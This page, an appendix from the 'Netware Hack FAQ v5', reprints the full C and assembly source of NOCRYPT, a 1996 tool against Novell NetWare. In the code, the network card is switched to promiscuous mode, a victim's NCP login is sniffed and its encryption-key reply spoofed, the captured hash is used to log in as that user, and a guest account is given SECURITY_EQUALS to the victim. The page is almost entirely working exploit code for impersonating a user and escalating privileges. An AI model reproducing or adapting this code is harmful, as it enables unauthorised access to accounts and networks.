Netware Hack FAQ v5

[ Return to TOC | Return to FAQ Page ]

### Appendix Section

    A-03. Source code to NOCRYPT

Greg's comments are in the source code file, but see Appendix A-04 for more information.

    /*This program was written and released on September 27, 1996 by Greg Miller*/

    /*NOCRYPT.C

    This program allows an attacker to masquerade as a user whithout knowing the
    user's password.  For more information on using the program see NOCRYPT.DOC.
    For more information on how the attack works, see ATTACK.DOC
    */

    /*(C) 1996 by Greg Miller*/
    /*Distribute freely*/

    #include <stdio.h>
    #include <string.h>

    #define TRUE -1
    #define FALSE 0
    #define PACKET_TYPE 19
    #define FUNCTION_CODE 50
    #define SUBFUNC_CODE 53
    #define KEY_OFFSET 54

    typedef unsigned char BYTE;
    typedef unsigned int WORD;
    typedef unsigned long DWORD;

    BYTE username[20] = "GUEST";                            //user to gain rights
    BYTE membername[20] = "GMILLER";                        //user rights to gain

    BYTE server_network[4] = {0,0,0,15};                    //server INTERNAL net
    BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05};  //closest router addr

    BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe};             //0000 won't work
    BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83};      //my address

    BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21}; //addr to spoof

    BYTE my_seq_no = 1;
    BYTE my_con_no;
    BYTE login_key[8];

    int DataRemaining = TRUE;
    int x;

    BYTE packet[2000];
    BYTE SendPacket[2000];
    BYTE to_server[100];

    WORD handle;
    int packet_received = FALSE;
    int NotDone = TRUE;

    int c;
    WORD pktlen;
    WORD Sendpktlen;
    WORD to_server_len;

    void Initialize(){
    }

    static void far PacketReceived(){
            /*This function is called by the packet driver when a packet is
              received.  If AX=0 when the function is called, the packet driver
              is asking for a buffer to put the packet in.  If AX=1 then the
              packet has been copied into the buffer.
            */

            _asm{
                    pop di          //Borland C 3.1 pushes DI for some reason.
                                    //Remove this line if your compiler doesn't.

                    cmp ax,1        //ax=0 for get buffer or 1 when done
                    jz copy_done

                    mov ax,seg packet
                    mov ES,ax
                    lea DI,packet
                    mov cx,2000     //buffer length
                    retf
            }

    copy_done:
            packet_received = TRUE;
            pktlen=_CX;

            _asm{retf}
    end:
    }

    void RegisterWithPKTDRV(){
            /*This function registers the "protocol stack" with the packet
              driver.  We give it the address of the function to call when
              a packet is received in ES:DI, the interface class in AL, and
              the interface type in BX.  DS:SI should point to the type of
              packets to receive, with the length of the type in CX, however,
              we'll just receive any type of packet so we leave DS:SI alone
              and make CX=0.
              We get a handle back from the INT 60h call in AX, we'll store
              it for later use.
            */

            _asm {
                    pusha

                    mov bx,0ffffh  //Wild card for all interfaces
                    mov dl,0
                    mov cx,0    //receive any type of packet
                    mov ax, seg PacketReceived
                    mov es,ax
                    lea di, PacketReceived
                    mov ah,02
                    mov al,01   //class type for 3com 509
                    int 60h
                    jc err

                    mov handle,ax

                    popa
            }

            printf("Registered with packet driver\r\n");
            return;
    err:
            printf("Error registering stack: %d\r\n",_DH);
            _asm{popa}

    }

    void RelinquishProtocolStack(){
            /*  Relinqush control of the interface */

            /*Release Type*/
            _asm{   pusha

                    mov ah,3
                    mov bx,handle
                    int 60h
                    jc err
                }

            /*Terminate driver for handle*/
            _asm{
                    mov ah,5
                    mov bx,handle
                    int 60h
                    jc err

                    popa
            }

            printf("Stack Relinqushed\r\n");
            return;
    err:
            printf("Error releasing Stack: %d",_DH);
    }

    void SetReceiveMode(WORD mode){
            /*This function puts the board in the specified mode by putting the
              receive mode in CX and the handle in BX.  Mode 6 is promiscuous
              and mode 2 is normal.
            */
            _asm{
                    pusha

                    mov ah,14h
                    mov bx,handle
                    mov cx,mode
                    int 60h
                    jc err

                    popa
            }

            printf("Mode set to %d\r\n",mode);
            return;
    err:
            printf("Error entering promiscuous mode: %d\r\n",_DH);
            _asm{popa}
    }

    void printhex(BYTE d){
     BYTE temp;
     _asm{
      mov al,d
      shr al,1
      shr al,1
      shr al,1
      shr al,1
      and al,0fh
      add al,90h
      daa
      adc al,40h
      daa
     }
     temp=_AL;
     printf("%c",temp);
     _asm{
      mov al,d
      and al,0fh
      add al,90h
      daa
      adc al,40h
      daa
     }
     temp=_AL;
     printf("%c ",temp);
    }

    void SendPack(){

            _asm{   pusha

                    mov ax,seg SendPacket
                    mov ds,ax
                    lea si,SendPacket
                    mov cx,Sendpktlen
                    mov ah,04
                    int 60h

                    jc err

                    popa
            }
    //      printf("Sending:\r\n");
    //      for(c=0;c<pktlen;c++){printhex(packet[c]);}
    //      printf("\r\n");
            return;
    err:
            printf("Error sending packet: %d\r\n",_DH);
            _asm{popa}
    }

    void SendEncryptionKeyReply(){
            memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
            memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

            //Put 802.3 length here.
            SendPacket[12]=00;
            SendPacket[13]=0x2e;

            memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
            memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
            SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
            SendPacket[16]=0;SendPacket[17]=0x2e;    //IPX Length
            SendPacket[18]=1;                        //Hop Count
            SendPacket[19]=17;  //Packet type = NCP
            SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
            memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
            SendPacket[50]=0;  //Completion code
            SendPacket[51]=0;  //Connection Status

            memcpy(SendPacket+52,login_key,8);  //Key

            Sendpktlen = 60;
    //      printf("Spoofing Encryption Key Reply\r\n");
            SendPack();
    }

    void WaitForPacket(){
     while(!packet_received){
      }

    // for(c=0;c<pktlen;c++){printhex(packet[c]);}
    // printf("\r\n");

     packet_received=FALSE;
    }

    void WaitForStationLoginRequest(){

            /*Discard first GetLoginKey()*/
            while(NotDone){
                    WaitForPacket();
                      if((memcmp(packet+6,SpoofStation,6)==0) &&
                        (packet[PACKET_TYPE]==17) &&
                        (packet[FUNCTION_CODE]==23) &&
                        (packet[SUBFUNC_CODE]==23)){
                         NotDone = FALSE;
                      }
            }

            WaitForPacket();

            /*Wait for login key request and spoof it*/
            NotDone=TRUE;
            while(NotDone){
                    WaitForPacket();
                      if((memcmp(packet+6,SpoofStation,6)==0) &&
                        (packet[PACKET_TYPE]==17) &&
                        (packet[FUNCTION_CODE]==23) &&
                        (packet[SUBFUNC_CODE]==23)){
                         NotDone = FALSE;
                      }
            }
            SendEncryptionKeyReply();

            /*Wait for login request and pull hash out*/
            NotDone = TRUE;
            while(NotDone){
                    WaitForPacket();
                    if((memcmp(packet+6,SpoofStation,6)==0) &&
                      (packet[PACKET_TYPE]==17) &&
                      (packet[FUNCTION_CODE]==23) &&
                      (packet[SUBFUNC_CODE]==24)){
                      NotDone = FALSE;
                    }
            }
            memcpy(login_key,packet+KEY_OFFSET,8);
            printf("Hash Received\r\n");
            for(c=0;c<8;c++){printhex(login_key[c]);}
            printf("\r\n");
    }
    void SendToServer(){
            _asm{   pusha

                    mov ax,seg to_server
                    mov ds,ax
                    lea si,to_server
                    mov cx,to_server_len
                    mov ah,04
                    int 60h

                    jc err

                    popa
            }
    //      printf("Sending:\r\n");
    //      for(c=0;c<to_server_len;c++){printhex(to_server[c]);}
    //      printf("\r\n");
            return;
    err:
            printf("Error sending packet: %d\r\n",_DH);
            _asm{popa}
            printf("Sending packet\r\n");
    }

    void InitializePacket(){

            memcpy(to_server,server_addr,6);//803.3 dest
            memcpy(to_server+6,my_addr,6);  //802.3 source
            //802.3 length
            to_server[14] = 0xff; to_server[15]= 0xff;
            //ipx length
            to_server[18] = 0;              //hop count
            to_server[19] = 17;             //packet type
            memcpy(to_server+20,server_network,4);
            to_server[24] = 0; to_server[25] = 0;
            to_server[26] = 0; to_server[27] = 0;
            to_server[28] = 0; to_server[29] = 1;
            to_server[30] = 0x04; to_server[31] = 0x51;
            memcpy(to_server+32,my_network,4);
            memcpy(to_server+36,my_addr,6);
            to_server[42]=0x40; to_server[43]=0x05;

    }

    void AttachToServer(){
            to_server[44] = 0x11; to_server[45]= 0x11;      //request type
            to_server[46] = 0;                              //sequence no.
            to_server[47] = 0xff;                           //connection no.

            to_server[12]=0; to_server[13]=38;              //802.3 length
            to_server[16]=0; to_server[17]=37;              //ipx length

            to_server_len=48;
            SendToServer();
    }

    int GetConNumber(){
            while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==0))){}
            if(packet[51]==0){
                    my_con_no=packet[47];
                    printf("Connected on con %d\r\n",my_con_no);
            } else {
                    printf("Error connecting %d\r\n",packet[51]);
            }
            return -1;
    }

    void RequestLoginKey(){
            to_server[12]=0; to_server[13]=40;              //802.3 len
            to_server[16]=0; to_server[17]=40;              //IPX len

            to_server[44]=0x22; to_server[45]=0x22;         //request type;
            to_server[46]=my_seq_no;                        //sequence no.
            to_server[47]=my_con_no;                        //connection no.
            to_server[48]=1;                                //tast no.
            to_server[49]=0;                                //conn no high
            to_server[50]=23;                               //func code
            to_server[51]=0; to_server[52]=1;               //subfunc len
            to_server[53]=23;                               //subfunc code

            to_server_len=54;
            SendToServer();
    }

    int GetLoginKey(){
       int x;
            while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){}
            if(packet[50]==0){
                    memcpy(login_key,packet+52,8);
                    printf("Retreived login key");
                    for(x=0;x<8;x++){printf(" %d",login_key[x]);}
                    printf("\r\n");
            } else {
                    printf("Error getting login key %d\r\n",packet[50]);
            }
            my_seq_no++;
            return -1;
    }

    /*-----------------------------
    void WaitForLoginRequest(){
            while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) &&
                  (packet[45]==0x22) && (packet[50]==23) && (packet[53]==23))){}
    }
    -------------------------------
    void SpoofKeyReply(){
            memcpy(send_packet,packet+6,6); memcpy(send_packet+6,packet,6);
            send_packet[12]=0; send_packet[13]=46;
            send_packet[14]=0xFF; send_packet[15]=0xFF;
            send_packet[16]=0; send_packet[17]=46;
            send_packet[18]=0;
            send_packet[19]=17;
            memcpy(send_packet+20,packet+31,12);
            memcpy(send_packet+32,packet+19,12);
            send_packet[44]=0x33; send_packet[45]=0x33;
            memcpy(send_packet+46,packet+46,4);
            send_packet[50]=0;
            send_packet[51]=0;
            memcpy(send_packet+52,login_key,8);

            SendPacket();
    }
    -------------------------------
    void WaitForKeyedLoginRequest(){
       int x;
            while(!((memcmp(packet,spoof_addr,6)==0) && (packet[44]==0x22) &&
                  (packet[45]==0x22) && (packet[50]==23) && (packet[53]==24))){}
            memcpy(login_key,packet+54,8);
            printf("Got spoofed login key reply:");
            for(x=0;x<7,x++) printf(" %d",login_key[x]);
            printf("\r\n");
    }
    -------------------------------*/

    void RequestKeyedLogin(){
       BYTE objlen;
            objlen=strlen(membername);

            to_server[12]=0; to_server[13]=51+objlen;       //802.3 len
            to_server[16]=0; to_server[17]=51+objlen;       //ipx len

            to_server[44]=0x22; to_server[45]=0x22;         //request type;
            to_server[46]=my_seq_no;                        //sequence no.
            to_server[47]=my_con_no;                        //connection no.
            to_server[48]=1;                                //tast no.
            to_server[49]=0;                                //conn no high
            to_server[50]=23;                               //func code
            to_server[51]=0; to_server[52]=12+objlen;       //subfunc len
            to_server[53]=24;                               //subfunc code
            memcpy(to_server+54,login_key,8);               //login key
            to_server[62]=0; to_server[63]=1;               //object type
            to_server[64]=objlen;                           //object length
            memcpy(to_server+65,membername,objlen);         //object name

            to_server_len=65+objlen;
            SendToServer();
    }
    int GetKeyedLoginResults(){
            while(!((memcmp(packet,my_addr,6)==0) && (packet[46]==my_seq_no))){}
            if(packet[50]==0){
                    memcpy(login_key,packet+52,8);
                    printf("Logged in\r\n");
            } else {
                    printf("Error logging in %d\r\n",packet[50]);
            }
            my_seq_no++;
            return -1;
    }

    void GrantRights(){
       BYTE objlen;
       BYTE memlen;

            objlen = strlen(username);
            memlen = strlen(membername);

            to_server[16]=0; to_server[17]=62+objlen+memlen;//IPX_len
            to_server[12]=0; to_server[13]=to_server[17]; //802.3 len

            to_server[44]=0x22;to_server[45]=0x22;          //Request type
            to_server[46]=my_seq_no;                        //Sequence No.
            to_server[47]=my_con_no;                        //connection no.
            to_server[48]=1;                                //Task no.
            to_server[49]=0;                                //conn no. high
            to_server[50]=23;                               //func code
            to_server[51]=0; to_server[52]=23+objlen+memlen;//subfun len
            to_server[53]=65;                               //subfun code
            to_server[54]=00; to_server[55]=1;              //Object type
            to_server[56]=objlen;                           //object len
            memcpy(to_server+57,username,objlen);           //object name
            to_server[57+objlen]=15;                        //property len
            memcpy(to_server+58+objlen,"SECURITY_EQUALS",15);//propertly name
            to_server[73+objlen]=0; to_server[74+objlen]=1; //member type
            to_server[75+objlen]=memlen;                    //member length
            memcpy(to_server+76+objlen,membername,memlen);  //member name

            printf("sublen %d\r\n",to_server[51]);

            to_server_len=80+objlen+memlen;

            for(x=0;x<100;x++) SendToServer();
    }

    void main(){

            Initialize();
            RegisterWithPKTDRV();

            InitializePacket();

            AttachToServer();
            GetConNumber();

            RequestLoginKey();
            GetLoginKey();

            SetReceiveMode(6);  //Promiscuous mode

            WaitForStationLoginRequest();

            SetReceiveMode(2);  //Normal mode

            RequestKeyedLogin();
            GetKeyedLoginResults();

            GrantRights();

            RelinquishProtocolStack();

    }

[ Return to TOC | Return to FAQ Page ]